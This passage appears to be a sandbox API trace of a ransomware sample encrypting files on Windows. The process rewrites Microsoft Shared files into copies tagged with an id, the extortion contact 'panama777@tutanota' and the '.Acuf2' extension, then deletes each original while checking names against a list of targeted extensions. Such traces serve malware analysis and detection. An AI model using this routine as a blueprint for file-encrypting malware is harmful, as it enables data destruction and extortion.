	[0047.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0047.169] GetLastError () returned 0x0
	[0047.169] ReadFile (in: hFile=0x170, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x377ef, lpOverlapped=0x0) returned 1
	[0047.174] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x377f0, lpOverlapped=0x0) returned 1
	[0047.177] ReadFile (in: hFile=0x170, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.178] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0047.178] SetEndOfFile (hFile=0x178) returned 1
	[0047.178] CloseHandle (hObject=0x178) returned 1
	[0047.178] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.178] SetEndOfFile (hFile=0x170) returned 1
	[0047.180] CloseHandle (hObject=0x170) returned 1
	[0047.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.180] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1
	[0047.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.181] lstrlenW (lpString=".doc") returned 4
	[0047.181] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1
	[0047.181] lstrlenW (lpString=".docx") returned 5
	[0047.181] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1
	[0047.181] lstrlenW (lpString=".pdf") returned 4
	[0047.181] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1
	[0047.181] lstrlenW (lpString=".xls") returned 4
	[0047.181] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1
	[0047.181] lstrlenW (lpString=".xlsx") returned 5
	[0047.181] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1
	[0047.181] lstrlenW (lpString=".ppt") returned 4
	[0047.181] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1
	[0047.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.181] lstrlenW (lpString=".zip") returned 4
	[0047.181] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1
	[0047.181] lstrlenW (lpString=".rar") returned 4
	[0047.181] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1
	[0047.181] lstrlenW (lpString=".bz2") returned 4
	[0047.181] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1
	[0047.181] lstrlenW (lpString=".7z") returned 3
	[0047.181] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1
	[0047.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.181] lstrlenW (lpString=".dbf") returned 4
	[0047.181] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1
	[0047.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.181] lstrlenW (lpString=".1cd") returned 4
	[0047.181] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1
	[0047.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.181] lstrlenW (lpString=".jpg") returned 4
	[0047.181] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1
	[0047.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.182] lstrlenW (lpString=".doc") returned 4
	[0047.182] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1
	[0047.182] lstrlenW (lpString=".docx") returned 5
	[0047.182] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1
	[0047.182] lstrlenW (lpString=".pdf") returned 4
	[0047.182] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1
	[0047.182] lstrlenW (lpString=".xls") returned 4
	[0047.182] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1
	[0047.182] lstrlenW (lpString=".xlsx") returned 5
	[0047.182] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1
	[0047.182] lstrlenW (lpString=".ppt") returned 4
	[0047.182] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1
	[0047.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.182] lstrlenW (lpString=".zip") returned 4
	[0047.182] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1
	[0047.182] lstrlenW (lpString=".rar") returned 4
	[0047.182] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1
	[0047.182] lstrlenW (lpString=".bz2") returned 4
	[0047.182] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1
	[0047.182] lstrlenW (lpString=".7z") returned 3
	[0047.182] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1
	[0047.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.182] lstrlenW (lpString=".dbf") returned 4
	[0047.182] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1
	[0047.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.182] lstrlenW (lpString=".1cd") returned 4
	[0047.183] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1
	[0047.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73
	[0047.183] lstrlenW (lpString=".jpg") returned 4
	[0047.183] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1
	[0047.183] lstrcmpiW (lpString1=".TXT", lpString2=".Acuf2") returned 1
	[0047.183] lstrlenW (lpString="METCONV.TXT") returned 11
	[0047.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0047.343] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1183416) returned 1
	[0047.343] CloseHandle (hObject=0x1a0) returned 1
	[0047.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20
	[0047.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0047.344] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.344] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0047.344] GetLastError () returned 0x0
	[0047.344] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0047.462] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0047.479] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x20ec8, lpOverlapped=0x0) returned 1
	[0047.806] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x20ed0, lpOverlapped=0x0) returned 1
	[0047.811] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.811] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0047.811] SetEndOfFile (hFile=0x1a4) returned 1
	[0047.812] CloseHandle (hObject=0x1a4) returned 1
	[0047.812] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.812] SetEndOfFile (hFile=0x1a0) returned 1
	[0047.813] CloseHandle (hObject=0x1a0) returned 1
	[0047.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.814] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1
	[0047.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.814] lstrlenW (lpString=".doc") returned 4
	[0047.814] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1
	[0047.814] lstrlenW (lpString=".docx") returned 5
	[0047.814] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1
	[0047.814] lstrlenW (lpString=".pdf") returned 4
	[0047.814] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1
	[0047.814] lstrlenW (lpString=".xls") returned 4
	[0047.814] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1
	[0047.814] lstrlenW (lpString=".xlsx") returned 5
	[0047.814] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1
	[0047.814] lstrlenW (lpString=".ppt") returned 4
	[0047.814] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1
	[0047.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.814] lstrlenW (lpString=".zip") returned 4
	[0047.814] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1
	[0047.814] lstrlenW (lpString=".rar") returned 4
	[0047.815] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1
	[0047.815] lstrlenW (lpString=".bz2") returned 4
	[0047.815] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1
	[0047.815] lstrlenW (lpString=".7z") returned 3
	[0047.815] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1
	[0047.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.815] lstrlenW (lpString=".dbf") returned 4
	[0047.815] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1
	[0047.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.815] lstrlenW (lpString=".1cd") returned 4
	[0047.815] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1
	[0047.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.815] lstrlenW (lpString=".jpg") returned 4
	[0047.815] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1
	[0047.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.815] lstrlenW (lpString=".doc") returned 4
	[0047.815] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1
	[0047.815] lstrlenW (lpString=".docx") returned 5
	[0047.815] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1
	[0047.815] lstrlenW (lpString=".pdf") returned 4
	[0047.815] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1
	[0047.815] lstrlenW (lpString=".xls") returned 4
	[0047.815] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1
	[0047.815] lstrlenW (lpString=".xlsx") returned 5
	[0047.815] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1
	[0047.815] lstrlenW (lpString=".ppt") returned 4
	[0047.815] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1
	[0047.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.815] lstrlenW (lpString=".zip") returned 4
	[0047.816] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1
	[0047.816] lstrlenW (lpString=".rar") returned 4
	[0047.816] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1
	[0047.816] lstrlenW (lpString=".bz2") returned 4
	[0047.816] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1
	[0047.816] lstrlenW (lpString=".7z") returned 3
	[0047.816] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1
	[0047.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.816] lstrlenW (lpString=".dbf") returned 4
	[0047.816] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1
	[0047.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.816] lstrlenW (lpString=".1cd") returned 4
	[0047.816] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1
	[0047.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0047.816] lstrlenW (lpString=".jpg") returned 4
	[0047.816] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1
	[0047.816] lstrcmpiW (lpString1=".emf", lpString2=".Acuf2") returned 1
	[0047.816] lstrlenW (lpString="Graph.emf") returned 9
	[0047.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0048.108] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=116724) returned 1
	[0048.108] CloseHandle (hObject=0x1dc) returned 1
	[0048.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20
	[0048.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0048.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.109] lstrlenW (lpString=".doc") returned 4
	[0048.109] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0048.109] lstrlenW (lpString=".docx") returned 5
	[0048.109] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1
	[0048.109] lstrlenW (lpString=".pdf") returned 4
	[0048.109] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0048.109] lstrlenW (lpString=".xls") returned 4
	[0048.109] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0048.109] lstrlenW (lpString=".xlsx") returned 5
	[0048.109] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1
	[0048.109] lstrlenW (lpString=".ppt") returned 4
	[0048.109] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0048.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.109] lstrlenW (lpString=".zip") returned 4
	[0048.109] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0048.109] lstrlenW (lpString=".rar") returned 4
	[0048.109] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0048.110] lstrlenW (lpString=".bz2") returned 4
	[0048.110] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0048.110] lstrlenW (lpString=".7z") returned 3
	[0048.110] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0048.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.110] lstrlenW (lpString=".dbf") returned 4
	[0048.110] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0048.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.110] lstrlenW (lpString=".1cd") returned 4
	[0048.110] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0048.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.110] lstrlenW (lpString=".jpg") returned 4
	[0048.110] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0048.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.110] lstrlenW (lpString=".doc") returned 4
	[0048.110] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0048.110] lstrlenW (lpString=".docx") returned 5
	[0048.110] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1
	[0048.110] lstrlenW (lpString=".pdf") returned 4
	[0048.110] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0048.110] lstrlenW (lpString=".xls") returned 4
	[0048.110] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0048.110] lstrlenW (lpString=".xlsx") returned 5
	[0048.110] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1
	[0048.110] lstrlenW (lpString=".ppt") returned 4
	[0048.110] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0048.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.110] lstrlenW (lpString=".zip") returned 4
	[0048.110] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0048.111] lstrlenW (lpString=".rar") returned 4
	[0048.111] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0048.111] lstrlenW (lpString=".bz2") returned 4
	[0048.111] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0048.111] lstrlenW (lpString=".7z") returned 3
	[0048.111] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0048.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.111] lstrlenW (lpString=".dbf") returned 4
	[0048.111] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0048.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.111] lstrlenW (lpString=".1cd") returned 4
	[0048.111] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0048.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0048.111] lstrlenW (lpString=".jpg") returned 4
	[0048.111] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0048.111] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0048.111] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0048.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0048.740] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=19780) returned 1
	[0048.740] CloseHandle (hObject=0x20c) returned 1
	[0048.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20
	[0048.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0048.741] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.741] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0048.741] GetLastError () returned 0x0
	[0048.741] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x4d44, lpOverlapped=0x0) returned 1
	[0048.744] WriteFile (in: hFile=0x210, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4d50, lpOverlapped=0x0) returned 1
	[0048.746] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.746] WriteFile (in: hFile=0x210, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0048.746] SetEndOfFile (hFile=0x210) returned 1
	[0048.746] CloseHandle (hObject=0x210) returned 1
	[0048.746] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.746] SetEndOfFile (hFile=0x20c) returned 1
	[0048.747] CloseHandle (hObject=0x20c) returned 1
	[0048.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.748] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1
